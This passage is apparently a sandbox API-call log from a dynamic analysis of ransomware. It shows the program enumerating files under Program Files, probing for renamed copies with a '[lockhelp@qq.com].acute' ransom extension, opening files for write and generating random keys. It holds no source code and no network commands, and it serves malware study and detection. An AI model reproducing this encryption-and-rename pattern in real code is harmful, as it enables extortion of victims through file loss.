hTemplateFile=0x0) returned 0xffffffff [0274.663] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.663] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3118) returned 1 [0274.663] CloseHandle (hObject=0x30c) returned 1 [0274.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png")) returned 0x20 [0274.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.663] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.663] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4955) returned 1 [0274.663] CloseHandle (hObject=0x30c) returned 1 [0274.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png")) returned 0x20 [0274.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.664] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.664] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3081) returned 1 [0274.664] CloseHandle (hObject=0x30c) returned 1 [0274.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png")) returned 0x20 [0274.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.664] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.664] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=27691) returned 1 [0274.664] CloseHandle (hObject=0x30c) returned 1 [0274.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png")) returned 0x20 [0274.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.664] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.665] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=56543) returned 1 [0274.665] CloseHandle (hObject=0x30c) returned 1 [0274.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png")) returned 0x20 [0274.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.665] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.665] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=7261) returned 1 [0274.665] CloseHandle (hObject=0x30c) returned 1 [0274.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png")) returned 0x20 [0274.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.665] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.665] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=23722) returned 1 [0274.665] CloseHandle (hObject=0x30c) returned 1 [0274.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png")) returned 0x20 [0274.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.666] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.666] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=14239) returned 1 [0274.666] CloseHandle (hObject=0x30c) returned 1 [0274.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml")) returned 0x20 [0274.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.666] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.667] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=17248) returned 1 [0274.667] CloseHandle (hObject=0x30c) returned 1 [0274.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 0x20 [0274.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.667] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.668] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=18738) returned 1 [0274.668] CloseHandle (hObject=0x30c) returned 1 [0274.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 0x20 [0274.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.668] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.669] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=30948) returned 1 [0274.669] CloseHandle (hObject=0x30c) returned 1 [0274.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 0x20 [0274.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.672] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.672] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=28974) returned 1 [0274.672] CloseHandle (hObject=0x30c) returned 1 [0274.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 0x20 [0274.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.672] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.673] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=34076) returned 1 [0274.673] CloseHandle (hObject=0x30c) returned 1 [0274.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 0x20 [0274.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.673] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.674] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=32146) returned 1 [0274.674] CloseHandle (hObject=0x30c) returned 1 [0274.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 0x20 [0274.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.674] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.674] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=39515) returned 1 [0274.674] CloseHandle (hObject=0x30c) returned 1 [0274.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0x20 [0274.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.674] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.675] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=29790) returned 1 [0274.675] CloseHandle (hObject=0x30c) returned 1 [0274.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 0x20 [0274.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.675] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, 